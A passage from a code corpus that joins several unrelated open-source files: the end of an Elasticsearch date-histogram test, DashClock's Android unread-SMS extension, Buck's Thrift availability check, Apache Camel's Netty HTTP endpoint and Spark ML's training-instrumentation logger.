aggregation.dateHistogramInterval(DateHistogramInterval.MINUTE).field(DATE_FIELD).minDocCount(1L), histogram -> { List<Histogram.Bucket> buckets = histogram.getBuckets(); assertEquals(3, buckets.size()); Histogram.Bucket bucket = buckets.get(0); assertEquals("2017-02-01T09:02:00.000Z", bucket.getKeyAsString()); assertEquals(2, bucket.getDocCount()); bucket = buckets.get(1); assertEquals("2017-02-01T09:15:00.000Z", bucket.getKeyAsString()); assertEquals(1, bucket.getDocCount()); bucket = buckets.get(2); assertEquals("2017-02-01T09:16:00.000Z", bucket.getKeyAsString()); assertEquals(2, bucket.getDocCount()); } ); } public void testIntervalSecond() throws IOException { testBothCases(new MatchAllDocsQuery(), Arrays.asList( "2017-02-01T00:00:05.015Z", "2017-02-01T00:00:11.299Z", "2017-02-01T00:00:11.074Z", "2017-02-01T00:00:37.688Z", "2017-02-01T00:00:37.210Z", "2017-02-01T00:00:37.380Z" ), aggregation -> aggregation.dateHistogramInterval(DateHistogramInterval.SECOND).field(DATE_FIELD).minDocCount(1L), histogram -> { List<Histogram.Bucket> buckets = histogram.getBuckets(); assertEquals(3, buckets.size()); Histogram.Bucket bucket = buckets.get(0); assertEquals("2017-02-01T00:00:05.000Z", bucket.getKeyAsString()); assertEquals(1, bucket.getDocCount()); bucket = buckets.get(1); assertEquals("2017-02-01T00:00:11.000Z", bucket.getKeyAsString()); assertEquals(2, bucket.getDocCount()); bucket = buckets.get(2); assertEquals("2017-02-01T00:00:37.000Z", bucket.getKeyAsString()); assertEquals(3, bucket.getDocCount()); } ); } public void testMinDocCount() throws IOException { Query query = LongPoint.newRangeQuery(INSTANT_FIELD, asLong("2017-02-01T00:00:00.000Z"), asLong("2017-02-01T00:00:30.000Z")); List<String> timestamps = Arrays.asList( "2017-02-01T00:00:05.015Z", "2017-02-01T00:00:11.299Z", "2017-02-01T00:00:11.074Z", "2017-02-01T00:00:13.688Z", "2017-02-01T00:00:21.380Z" ); // 5 sec interval with minDocCount = 0 testSearchAndReduceCase(query, timestamps, aggregation -> aggregation.dateHistogramInterval(DateHistogramInterval.seconds(5)).field(DATE_FIELD).minDocCount(0L), histogram -> { List<Histogram.Bucket> buckets = histogram.getBuckets(); assertEquals(4, buckets.size()); Histogram.Bucket bucket = buckets.get(0); assertEquals("2017-02-01T00:00:05.000Z", bucket.getKeyAsString()); assertEquals(1, bucket.getDocCount()); bucket = buckets.get(1); assertEquals("2017-02-01T00:00:10.000Z", bucket.getKeyAsString()); assertEquals(3, bucket.getDocCount()); bucket = buckets.get(2); assertEquals("2017-02-01T00:00:15.000Z", bucket.getKeyAsString()); assertEquals(0, bucket.getDocCount()); bucket = buckets.get(3); assertEquals("2017-02-01T00:00:20.000Z", bucket.getKeyAsString()); assertEquals(1, bucket.getDocCount()); } ); // 5 sec interval with minDocCount = 3 testSearchAndReduceCase(query, timestamps, aggregation -> aggregation.dateHistogramInterval(DateHistogramInterval.seconds(5)).field(DATE_FIELD).minDocCount(3L), histogram -> { List<Histogram.Bucket> buckets = histogram.getBuckets(); assertEquals(1, buckets.size()); Histogram.Bucket bucket = buckets.get(0); assertEquals("2017-02-01T00:00:10.000Z", bucket.getKeyAsString()); assertEquals(3, bucket.getDocCount()); } ); } private void testSearchCase(Query query, List<String> dataset, Consumer<DateHistogramAggregationBuilder> configure, Consumer<Histogram> verify) throws IOException { executeTestCase(false, query, dataset, configure, verify); } private void testSearchAndReduceCase(Query query, List<String> dataset, Consumer<DateHistogramAggregationBuilder> configure, Consumer<Histogram> verify) throws IOException { executeTestCase(true, query, dataset, configure, verify); } private void testBothCases(Query query, List<String> dataset, Consumer<DateHistogramAggregationBuilder> configure, Consumer<Histogram> verify) throws IOException { testSearchCase(query, dataset, configure, verify); testSearchAndReduceCase(query, dataset, configure, verify); } private void executeTestCase(boolean reduced, Query query, List<String> dataset, Consumer<DateHistogramAggregationBuilder> configure, Consumer<Histogram> verify) throws IOException { try (Directory directory = newDirectory()) { try (RandomIndexWriter indexWriter = new RandomIndexWriter(random(), directory)) { Document document = new Document(); for (String date : dataset) { if (frequently()) { indexWriter.commit(); } long instant = asLong(date); document.add(new SortedNumericDocValuesField(DATE_FIELD, instant)); document.add(new LongPoint(INSTANT_FIELD, instant)); indexWriter.addDocument(document); document.clear(); } } try (IndexReader indexReader = DirectoryReader.open(directory)) { IndexSearcher indexSearcher = newSearcher(indexReader, true, true); DateHistogramAggregationBuilder aggregationBuilder = new DateHistogramAggregationBuilder("_name"); if (configure != null) { configure.accept(aggregationBuilder); } DateFieldMapper.Builder builder = new DateFieldMapper.Builder("_name"); DateFieldMapper.DateFieldType fieldType = builder.fieldType(); fieldType.setHasDocValues(true); fieldType.setName(aggregationBuilder.field()); InternalDateHistogram histogram; if (reduced) { histogram = searchAndReduce(indexSearcher, query, aggregationBuilder, fieldType); } else { histogram = search(indexSearcher, query, aggregationBuilder, fieldType); } verify.accept(histogram); } } } private static long asLong(String dateTime) { return DateFieldMapper.DEFAULT_DATE_TIME_FORMATTER.parser().parseDateTime(dateTime).getMillis(); } }
apache-2.0
ITVlab/neodash
module-dashclock/src/main/java/com/google/android/apps/dashclock/phone/SmsExtension.java
16299
/* * Copyright 2013 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.dashclock.phone; import com.google.android.apps.dashclock.LogUtils; import com.google.android.apps.dashclock.api.DashClockExtension; import com.google.android.apps.dashclock.api.ExtensionData; import net.nurik.roman.dashclock.R; import android.annotation.TargetApi; import android.content.Intent; import android.content.pm.PackageManager; import android.database.Cursor; import android.net.Uri; import android.os.Build; import android.provider.ContactsContract; import android.provider.Telephony; import android.text.TextUtils; import java.util.HashSet; import java.util.Set; import static com.google.android.apps.dashclock.LogUtils.LOGD; import static com.google.android.apps.dashclock.LogUtils.LOGE; import static com.google.android.apps.dashclock.LogUtils.LOGW; /** * Unread SMS and MMS's extension. */ public class SmsExtension extends DashClockExtension { private static final String TAG = LogUtils.makeLogTag(SmsExtension.class); @Override protected void onInitialize(boolean isReconnect) { super.onInitialize(isReconnect); if (!isReconnect) { addWatchContentUris(new String[]{ TelephonyProviderConstants.MmsSms.CONTENT_URI.toString(), }); } } @Override protected void onUpdateData(int reason) { long lastUnreadThreadId = 0; Set<Long> unreadThreadIds = new HashSet<Long>(); Set<String> unreadThreadParticipantNames = new HashSet<String>(); boolean showingAllConversationParticipants = false; Cursor cursor = tryOpenSimpleThreadsCursor(); if (cursor != null) { while (cursor.moveToNext()) { if (cursor.getInt(SimpleThreadsQuery.READ) == 0) { long threadId = cursor.getLong(SimpleThreadsQuery._ID); unreadThreadIds.add(threadId); lastUnreadThreadId = threadId; // Some devices will fail on tryOpenMmsSmsCursor below, so // store a list of participants on unread threads as a fallback. String recipientIdsStr = cursor.getString(SimpleThreadsQuery.RECIPIENT_IDS); if (!TextUtils.isEmpty(recipientIdsStr)) { String[] recipientIds = TextUtils.split(recipientIdsStr, " "); for (String recipientId : recipientIds) { Cursor canonAddrCursor = tryOpenCanonicalAddressCursorById( Long.parseLong(recipientId)); if (canonAddrCursor == null) { continue; } if (canonAddrCursor.moveToFirst()) { String address = canonAddrCursor.getString( CanonicalAddressQuery.ADDRESS); String displayName = getDisplayNameForContact(0, address); if (!TextUtils.isEmpty(displayName)) { unreadThreadParticipantNames.add(displayName); } } canonAddrCursor.close(); } } } } cursor.close(); LOGD(TAG, "Unread thread IDs: [" + TextUtils.join(", ", unreadThreadIds) + "]"); } int unreadConversations = 0; StringBuilder names = new StringBuilder(); cursor = tryOpenMmsSmsCursor(); if (cursor != null) { // Most devices will hit this code path. while (cursor.moveToNext()) { // Get display name. SMS's are easy; MMS's not so much. long id = cursor.getLong(MmsSmsQuery._ID); long contactId = cursor.getLong(MmsSmsQuery.PERSON); String address = cursor.getString(MmsSmsQuery.ADDRESS); long threadId = cursor.getLong(MmsSmsQuery.THREAD_ID); if (unreadThreadIds != null && !unreadThreadIds.contains(threadId)) { // We have the list of all thread IDs (same as what the messaging app uses), and // this supposedly unread message's thread isn't in the list. This message is // likely an orphaned message whose thread was deleted. Not skipping it is // likely the cause of http://code.google.com/p/dashclock/issues/detail?id=8 LOGD(TAG, "Skipping probably orphaned message " + id + " with thread ID " + threadId); continue; } ++unreadConversations; lastUnreadThreadId = threadId; if (contactId == 0 && TextUtils.isEmpty(address) && id != 0) { // Try MMS addr query Cursor addrCursor = tryOpenMmsAddrCursor(id); if (addrCursor != null) { if (addrCursor.moveToFirst()) { contactId = addrCursor.getLong(MmsAddrQuery.CONTACT_ID); address = addrCursor.getString(MmsAddrQuery.ADDRESS); } addrCursor.close(); } } String displayName = getDisplayNameForContact(contactId, address); if (names.length() > 0) { names.append(", "); } names.append(displayName); } cursor.close(); } else { // In case the cursor is null (some Samsung devices like the Galaxy S4), use the // fall back on the list of participants in unread threads. unreadConversations = unreadThreadIds.size(); names.append(TextUtils.join(", ", unreadThreadParticipantNames)); showingAllConversationParticipants = true; } PackageManager pm = getPackageManager(); Intent clickIntent = null; if (unreadConversations == 1 && lastUnreadThreadId > 0) { clickIntent = new Intent(Intent.ACTION_VIEW, TelephonyProviderConstants.MmsSms.CONTENT_CONVERSATIONS_URI.buildUpon() .appendPath(Long.toString(lastUnreadThreadId)).build()); } // If the default SMS app doesn't support ACTION_VIEW on the conversation URI, // or if there are multiple unread conversations, try opening the app landing screen // by implicit intent. if (clickIntent == null || pm.resolveActivity(clickIntent, 0) == null) { clickIntent = Intent.makeMainSelectorActivity(Intent.ACTION_MAIN, Intent.CATEGORY_APP_MESSAGING); // If the default SMS app doesn't support CATEGORY_APP_MESSAGING, try KitKat's // new API to get the default package (if the API is available). if (pm.resolveActivity(clickIntent, 0) == null) { clickIntent = tryGetKitKatDefaultSmsActivity(); } } publishUpdate(new ExtensionData() .visible(unreadConversations > 0) .icon(R.drawable.ic_extension_sms) .status(Integer.toString(unreadConversations)) .expandedTitle( getResources().getQuantityString( R.plurals.sms_title_template, unreadConversations, unreadConversations)) .expandedBody(getString(showingAllConversationParticipants ? R.string.sms_body_all_participants_template : R.string.sms_body_template, names.toString())) .clickIntent(clickIntent)); } @TargetApi(Build.VERSION_CODES.KITKAT) private Intent tryGetKitKatDefaultSmsActivity() { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { String smsPackage = Telephony.Sms.getDefaultSmsPackage(this); if (TextUtils.isEmpty(smsPackage)) { return null; } return new Intent() .setAction(Intent.ACTION_MAIN) .addCategory(Intent.CATEGORY_LAUNCHER) .setPackage(smsPackage); } return null; } /** * Returns the display name for the contact with the given ID and/or the given address * (phone number). One or both parameters should be provided. */ private String getDisplayNameForContact(long contactId, String address) { String displayName = address; if (contactId > 0) { Cursor contactCursor = tryOpenContactsCursorById(contactId); if (contactCursor != null) { if (contactCursor.moveToFirst()) { displayName = contactCursor.getString(RawContactsQuery.DISPLAY_NAME); } else { contactId = 0; } contactCursor.close(); } } if (contactId <= 0) { Cursor contactCursor = tryOpenContactsCursorByAddress(address); if (contactCursor != null) { if (contactCursor.moveToFirst()) { displayName = contactCursor.getString(ContactsQuery.DISPLAY_NAME); } contactCursor.close(); } } return displayName; } private Cursor tryOpenMmsSmsCursor() { try { return getContentResolver().query( TelephonyProviderConstants.MmsSms.CONTENT_CONVERSATIONS_URI, MmsSmsQuery.PROJECTION, TelephonyProviderConstants.Mms.READ + "=0 AND " + TelephonyProviderConstants.Mms.THREAD_ID + "!=0 AND (" + TelephonyProviderConstants.Mms.MESSAGE_BOX + "=" + TelephonyProviderConstants.Mms.MESSAGE_BOX_INBOX + " OR " + TelephonyProviderConstants.Sms.TYPE + "=" + TelephonyProviderConstants.Sms.MESSAGE_TYPE_INBOX + ")", null, null); } catch (Exception e) { // Catch all exceptions because the SMS provider is crashy // From developer console: "SQLiteException: table spam_filter already exists" LOGE(TAG, "Error accessing conversations cursor in SMS/MMS provider", e); return null; } } private Cursor tryOpenSimpleThreadsCursor() { try { return getContentResolver().query( TelephonyProviderConstants.Threads.CONTENT_URI .buildUpon() .appendQueryParameter("simple", "true") .build(), SimpleThreadsQuery.PROJECTION, null, null, null); } catch (Exception e) { LOGW(TAG, "Error accessing simple SMS threads cursor", e); return null; } } private Cursor tryOpenCanonicalAddressCursorById(long id) { try { return getContentResolver().query( TelephonyProviderConstants.CanonicalAddresses.CONTENT_URI.buildUpon() .build(), CanonicalAddressQuery.PROJECTION, TelephonyProviderConstants.CanonicalAddresses._ID + "=?", new String[]{Long.toString(id)}, null); } catch (Exception e) { LOGE(TAG, "Error accessing canonical addresses cursor", e); return null; } } private Cursor tryOpenMmsAddrCursor(long mmsMsgId) { try { return getContentResolver().query( TelephonyProviderConstants.Mms.CONTENT_URI.buildUpon() .appendPath(Long.toString(mmsMsgId)) .appendPath("addr") .build(), MmsAddrQuery.PROJECTION, TelephonyProviderConstants.Mms.Addr.MSG_ID + "=?", new String[]{Long.toString(mmsMsgId)}, null); } catch (Exception e) { // Catch all exceptions because the SMS provider is crashy // From developer console: "SQLiteException: table spam_filter already exists" LOGE(TAG, "Error accessing MMS addresses cursor", e); return null; } } private Cursor tryOpenContactsCursorById(long contactId) { try { return getContentResolver().query( ContactsContract.RawContacts.CONTENT_URI.buildUpon() .appendPath(Long.toString(contactId)) .build(), RawContactsQuery.PROJECTION, null, null, null); } catch (Exception e) { LOGE(TAG, "Error accessing contacts provider", e); return null; } } private Cursor tryOpenContactsCursorByAddress(String phoneNumber) { try { return getContentResolver().query( ContactsContract.PhoneLookup.CONTENT_FILTER_URI.buildUpon() .appendPath(Uri.encode(phoneNumber)).build(), ContactsQuery.PROJECTION, null, null, null); } catch (Exception e) { // Can be called by the content provider (from Google Play crash/ANR console) // java.lang.IllegalArgumentException: URI: content://com.android.contacts/phone_lookup/ LOGW(TAG, "Error looking up contact name", e); return null; } } private interface SimpleThreadsQuery { String[] PROJECTION = { TelephonyProviderConstants.Threads._ID, TelephonyProviderConstants.Threads.READ, TelephonyProviderConstants.Threads.RECIPIENT_IDS, }; int _ID = 0; int READ = 1; int RECIPIENT_IDS = 2; } private interface CanonicalAddressQuery { String[] PROJECTION = { TelephonyProviderConstants.CanonicalAddresses._ID, TelephonyProviderConstants.CanonicalAddresses.ADDRESS, }; int _ID = 0; int ADDRESS = 1; } private interface MmsSmsQuery { String[] PROJECTION = { TelephonyProviderConstants.Sms._ID, TelephonyProviderConstants.Sms.ADDRESS, TelephonyProviderConstants.Sms.PERSON, TelephonyProviderConstants.Sms.THREAD_ID, }; int _ID = 0; int ADDRESS = 1; int PERSON = 2; int THREAD_ID = 3; } private interface MmsAddrQuery { String[] PROJECTION = { TelephonyProviderConstants.Mms.Addr.ADDRESS, TelephonyProviderConstants.Mms.Addr.CONTACT_ID, }; int ADDRESS = 0; int CONTACT_ID = 1; } private interface RawContactsQuery { String[] PROJECTION = { ContactsContract.RawContacts.DISPLAY_NAME_PRIMARY, }; int DISPLAY_NAME = 0; } private interface ContactsQuery { String[] PROJECTION = { ContactsContract.Contacts.DISPLAY_NAME, }; int DISPLAY_NAME = 0; } }
apache-2.0
mread/buck
src/com/facebook/buck/util/ThriftWatcher.java
1473
/* * Copyright 2014-present Facebook, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. You may obtain * a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. */ package com.facebook.buck.util; import com.facebook.buck.log.Logger; import java.io.IOException; import java.io.InputStream; public class ThriftWatcher { private static final Logger LOG = Logger.get(ThriftWatcher.class); private ThriftWatcher() { } /** * @return true if "thrift --version" can be executed successfully */ public static boolean isThriftAvailable() throws InterruptedException { try { LOG.debug("Checking if Thrift is available.."); InputStream output = new ProcessBuilder("thrift", "-version").start().getInputStream(); byte[] bytes = new byte[7]; output.read(bytes); boolean available = (new String(bytes)).equals("Thrift "); LOG.debug("Thrift available: %s", available); return available; } catch (IOException e) { return false; // Could not execute thrift. } } }
apache-2.0
curso007/camel
components/camel-netty4-http/src/main/java/org/apache/camel/component/netty4/http/NettyHttpEndpoint.java
10739
/** * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.camel.component.netty4.http; import java.util.Map; import io.netty.channel.ChannelHandlerContext; import io.netty.handler.codec.http.FullHttpRequest; import org.apache.camel.AsyncEndpoint; import org.apache.camel.Consumer; import org.apache.camel.Exchange; import org.apache.camel.Message; import org.apache.camel.PollingConsumer; import org.apache.camel.Processor; import org.apache.camel.Producer; import org.apache.camel.component.netty4.NettyConfiguration; import org.apache.camel.component.netty4.NettyEndpoint; import org.apache.camel.http.common.cookie.CookieHandler; import org.apache.camel.impl.SynchronousDelegateProducer; import org.apache.camel.spi.HeaderFilterStrategy; import org.apache.camel.spi.HeaderFilterStrategyAware; import org.apache.camel.spi.UriEndpoint; import org.apache.camel.spi.UriParam; import org.apache.camel.util.ObjectHelper; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * Netty HTTP server and client using the Netty 4.x library. */ @UriEndpoint(firstVersion = "2.14.0", scheme = "netty4-http", extendsScheme = "netty4", title = "Netty4 HTTP", syntax = "netty4-http:protocol:host:port/path", consumerClass = NettyHttpConsumer.class, label = "http", lenientProperties = true, excludeProperties = "textline,delimiter,autoAppendDelimiter,decoderMaxLineLength,encoding,allowDefaultCodec,udpConnectionlessSending,networkInterface" + ",clientMode,reconnect,reconnectInterval,useByteBuf,udpByteArrayCodec,broadcast") public class NettyHttpEndpoint extends NettyEndpoint implements AsyncEndpoint, HeaderFilterStrategyAware { private static final Logger LOG = LoggerFactory.getLogger(NettyHttpEndpoint.class); @UriParam private NettyHttpConfiguration configuration; @UriParam(label = "advanced", name = "configuration", javaType = "org.apache.camel.component.netty4.http.NettyHttpConfiguration", description = "To use a custom configured NettyHttpConfiguration for configuring this endpoint.") private Object httpConfiguration; // to include in component docs as NettyHttpConfiguration is a @UriParams class @UriParam(label = "advanced") private NettyHttpBinding nettyHttpBinding; @UriParam(label = "advanced") private HeaderFilterStrategy headerFilterStrategy; @UriParam(label = "consumer,advanced") private boolean traceEnabled; @UriParam(label = "consumer,advanced") private String httpMethodRestrict; @UriParam(label = "consumer,advanced") private NettySharedHttpServer nettySharedHttpServer; @UriParam(label = "consumer,security") private NettyHttpSecurityConfiguration securityConfiguration; @UriParam(label = "consumer,security", prefix = "securityConfiguration.", multiValue = true) private Map<String, Object> securityOptions; // to include in component docs @UriParam(label = "producer") private CookieHandler cookieHandler; public NettyHttpEndpoint(String endpointUri, NettyHttpComponent component, NettyConfiguration configuration) { super(endpointUri, component, configuration); } @Override public NettyHttpComponent getComponent() { return (NettyHttpComponent) super.getComponent(); } @Override public Consumer createConsumer(Processor processor) throws Exception { NettyHttpConsumer answer = new NettyHttpConsumer(this, processor, getConfiguration()); configureConsumer(answer); if (nettySharedHttpServer != null) { answer.setNettyServerBootstrapFactory(nettySharedHttpServer.getServerBootstrapFactory()); LOG.info("NettyHttpConsumer: {} is using NettySharedHttpServer on port: {}", answer, nettySharedHttpServer.getPort()); } else { // reuse pipeline factory for the same address HttpServerBootstrapFactory factory = getComponent().getOrCreateHttpNettyServerBootstrapFactory(answer); // force using our server bootstrap factory answer.setNettyServerBootstrapFactory(factory); LOG.debug("Created NettyHttpConsumer: {} using HttpServerBootstrapFactory: {}", answer, factory); } return answer; } @Override public Producer createProducer() throws Exception { Producer answer = new NettyHttpProducer(this, getConfiguration()); if (isSynchronous()) { return new SynchronousDelegateProducer(answer); } else { return answer; } } @Override public PollingConsumer createPollingConsumer() throws Exception { throw new UnsupportedOperationException("This component does not support polling consumer"); } @Override public Exchange createExchange(ChannelHandlerContext ctx, Object message) throws Exception { Exchange exchange = createExchange(); FullHttpRequest request = (FullHttpRequest) message; Message in = getNettyHttpBinding().toCamelMessage(request, exchange, getConfiguration()); exchange.setIn(in); // setup the common message headers updateMessageHeader(in, ctx); // honor the character encoding String contentType = in.getHeader(Exchange.CONTENT_TYPE, String.class); String charset = NettyHttpHelper.getCharsetFromContentType(contentType); if (charset != null) { exchange.setProperty(Exchange.CHARSET_NAME, charset); in.setHeader(Exchange.HTTP_CHARACTER_ENCODING, charset); } return exchange; } @Override public boolean isLenientProperties() { // true to allow dynamic URI options to be configured and passed to external system for eg. the HttpProducer return true; } @Override public void setConfiguration(NettyConfiguration configuration) { super.setConfiguration(configuration); this.configuration = (NettyHttpConfiguration) configuration; } @Override public NettyHttpConfiguration getConfiguration() { return (NettyHttpConfiguration) super.getConfiguration(); } public NettyHttpBinding getNettyHttpBinding() { return nettyHttpBinding; } /** * To use a custom org.apache.camel.component.netty4.http.NettyHttpBinding for binding to/from Netty and Camel Message API. */ public void setNettyHttpBinding(NettyHttpBinding nettyHttpBinding) { this.nettyHttpBinding = nettyHttpBinding; } public HeaderFilterStrategy getHeaderFilterStrategy() { return headerFilterStrategy; } /** * To use a custom org.apache.camel.spi.HeaderFilterStrategy to filter headers. */ public void setHeaderFilterStrategy(HeaderFilterStrategy headerFilterStrategy) { this.headerFilterStrategy = headerFilterStrategy; getNettyHttpBinding().setHeaderFilterStrategy(headerFilterStrategy); } public boolean isTraceEnabled() { return traceEnabled; } /** * Specifies whether to enable HTTP TRACE for this Netty HTTP consumer. By default TRACE is turned off. */ public void setTraceEnabled(boolean traceEnabled) { this.traceEnabled = traceEnabled; } public String getHttpMethodRestrict() { return httpMethodRestrict; } /** * To disable HTTP methods on the Netty HTTP consumer. You can specify multiple separated by comma. */ public void setHttpMethodRestrict(String httpMethodRestrict) { this.httpMethodRestrict = httpMethodRestrict; } public NettySharedHttpServer getNettySharedHttpServer() { return nettySharedHttpServer; } /** * To use a shared Netty HTTP server. See Netty HTTP Server Example for more details. */ public void setNettySharedHttpServer(NettySharedHttpServer nettySharedHttpServer) { this.nettySharedHttpServer = nettySharedHttpServer; } public NettyHttpSecurityConfiguration getSecurityConfiguration() { return securityConfiguration; } /** * Refers to a org.apache.camel.component.netty4.http.NettyHttpSecurityConfiguration for configuring secure web resources. */ public void setSecurityConfiguration(NettyHttpSecurityConfiguration securityConfiguration) { this.securityConfiguration = securityConfiguration; } public Map<String, Object> getSecurityOptions() { return securityOptions; } /** * To configure NettyHttpSecurityConfiguration using key/value pairs from the map */ public void setSecurityOptions(Map<String, Object> securityOptions) { this.securityOptions = securityOptions; } public CookieHandler getCookieHandler() { return cookieHandler; } /** * Configure a cookie handler to maintain a HTTP session */ public void setCookieHandler(CookieHandler cookieHandler) { this.cookieHandler = cookieHandler; } @Override protected void doStart() throws Exception { super.doStart(); ObjectHelper.notNull(nettyHttpBinding, "nettyHttpBinding", this); ObjectHelper.notNull(headerFilterStrategy, "headerFilterStrategy", this); if (securityConfiguration != null) { ObjectHelper.notEmpty(securityConfiguration.getRealm(), "realm", securityConfiguration); ObjectHelper.notEmpty(securityConfiguration.getConstraint(), "restricted", securityConfiguration); if (securityConfiguration.getSecurityAuthenticator() == null) { // setup default JAAS authenticator if none was configured JAASSecurityAuthenticator jaas = new JAASSecurityAuthenticator(); jaas.setName(securityConfiguration.getRealm()); LOG.info("No SecurityAuthenticator configured, using JAASSecurityAuthenticator as authenticator: {}", jaas); securityConfiguration.setSecurityAuthenticator(jaas); } } } }
apache-2.0
mahak/spark
mllib/src/main/scala/org/apache/spark/ml/util/Instrumentation.scala
7562
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.spark.ml.util import java.io.{PrintWriter, StringWriter} import java.util.UUID import scala.util.{Failure, Success, Try} import scala.util.control.NonFatal import org.json4s._ import org.json4s.JsonDSL._ import org.json4s.jackson.JsonMethods._ import org.apache.spark.internal.Logging import org.apache.spark.ml.{MLEvents, PipelineStage} import org.apache.spark.ml.param.{Param, Params} import org.apache.spark.rdd.RDD import org.apache.spark.sql.Dataset import org.apache.spark.util.Utils /** * A small wrapper that defines a training session for an estimator, some methods to log * useful information during this session, and some methods to send * [[org.apache.spark.ml.MLEvent]]. */ private[spark] class Instrumentation private () extends Logging with MLEvents { private val id = UUID.randomUUID() private val shortId = id.toString.take(8) private[util] val prefix = s"[$shortId] " /** * Log some info about the pipeline stage being fit. */ def logPipelineStage(stage: PipelineStage): Unit = { // estimator.getClass.getSimpleName can cause Malformed class name error, // call safer `Utils.getSimpleName` instead val className = Utils.getSimpleName(stage.getClass) logInfo(s"Stage class: $className") logInfo(s"Stage uid: ${stage.uid}") } /** * Log some data about the dataset being fit. */ def logDataset(dataset: Dataset[_]): Unit = logDataset(dataset.rdd) /** * Log some data about the dataset being fit. */ def logDataset(dataset: RDD[_]): Unit = { logInfo(s"training: numPartitions=${dataset.partitions.length}" + s" storageLevel=${dataset.getStorageLevel}") } /** * Logs a debug message with a prefix that uniquely identifies the training session. */ override def logDebug(msg: => String): Unit = { super.logDebug(prefix + msg) } /** * Logs a warning message with a prefix that uniquely identifies the training session. */ override def logWarning(msg: => String): Unit = { super.logWarning(prefix + msg) } /** * Logs a error message with a prefix that uniquely identifies the training session. */ override def logError(msg: => String): Unit = { super.logError(prefix + msg) } /** * Logs an info message with a prefix that uniquely identifies the training session. */ override def logInfo(msg: => String): Unit = { super.logInfo(prefix + msg) } /** * Logs the value of the given parameters for the estimator being used in this session. */ def logParams(hasParams: Params, params: Param[_]*): Unit = { val pairs: Seq[(String, JValue)] = for { p <- params value <- hasParams.get(p) } yield { val cast = p.asInstanceOf[Param[Any]] p.name -> parse(cast.jsonEncode(value)) } logInfo(compact(render(map2jvalue(pairs.toMap)))) } def logNumFeatures(num: Long): Unit = { logNamedValue(Instrumentation.loggerTags.numFeatures, num) } def logNumClasses(num: Long): Unit = { logNamedValue(Instrumentation.loggerTags.numClasses, num) } def logNumExamples(num: Long): Unit = { logNamedValue(Instrumentation.loggerTags.numExamples, num) } def logSumOfWeights(num: Double): Unit = { logNamedValue(Instrumentation.loggerTags.sumOfWeights, num) } /** * Logs the value with customized name field. */ def logNamedValue(name: String, value: String): Unit = { logInfo(compact(render(name -> value))) } def logNamedValue(name: String, value: Long): Unit = { logInfo(compact(render(name -> value))) } def logNamedValue(name: String, value: Double): Unit = { logInfo(compact(render(name -> value))) } def logNamedValue(name: String, value: Array[String]): Unit = { logInfo(compact(render(name -> compact(render(value.toSeq))))) } def logNamedValue(name: String, value: Array[Long]): Unit = { logInfo(compact(render(name -> compact(render(value.toSeq))))) } def logNamedValue(name: String, value: Array[Double]): Unit = { logInfo(compact(render(name -> compact(render(value.toSeq))))) } /** * Logs the successful completion of the training session. */ def logSuccess(): Unit = { logInfo("training finished") } /** * Logs an exception raised during a training session. */ def logFailure(e: Throwable): Unit = { val msg = new StringWriter() e.printStackTrace(new PrintWriter(msg)) super.logError(msg.toString) } } /** * Some common methods for logging information about a training session. */ private[spark] object Instrumentation { object loggerTags { val numFeatures = "numFeatures" val numClasses = "numClasses" val numExamples = "numExamples" val meanOfLabels = "meanOfLabels" val varianceOfLabels = "varianceOfLabels" val sumOfWeights = "sumOfWeights" } def instrumented[T](body: (Instrumentation => T)): T = { val instr = new Instrumentation() Try(body(instr)) match { case Failure(NonFatal(e)) => instr.logFailure(e) throw e case Failure(e) => throw e case Success(result) => instr.logSuccess() result } } } /** * A small wrapper that contains an optional `Instrumentation` object. * Provide some log methods, if the containing `Instrumentation` object is defined, * will log via it, otherwise will log via common logger. */ private[spark] class OptionalInstrumentation private( val instrumentation: Option[Instrumentation], val className: String) extends Logging { protected override def logName: String = className override def logInfo(msg: => String): Unit = { instrumentation match { case Some(instr) => instr.logInfo(msg) case None => super.logInfo(msg) } } override def logWarning(msg: => String): Unit = { instrumentation match { case Some(instr) => instr.logWarning(msg) case None => super.logWarning(msg) } } override def logError(msg: => String): Unit = { instrumentation match { case Some(instr) => instr.logError(msg) case None => super.logError(msg) } } } private[spark] object OptionalInstrumentation { /** * Creates an `OptionalInstrumentation` object from an existing `Instrumentation` object. */ def create(instr: Instrumentation): OptionalInstrumentation = { new OptionalInstrumentation(Some(instr), instr.prefix) } /** * Creates an `OptionalInstrumentation` object from a `Class` object. * The created `OptionalInstrumentation` object will log messages via common logger and use the * specified class name as logger name. */ def create(clazz: Class[_]): OptionalInstrumentation = { new OptionalInstrumentation(None, clazz.getName.stripSuffix("$")) } }
apache-2.0
nwjs/chromium.src
third_party/blink/web_tests/external/wpt/css/css-ruby/support/ruby-dynamic-removal.js
374
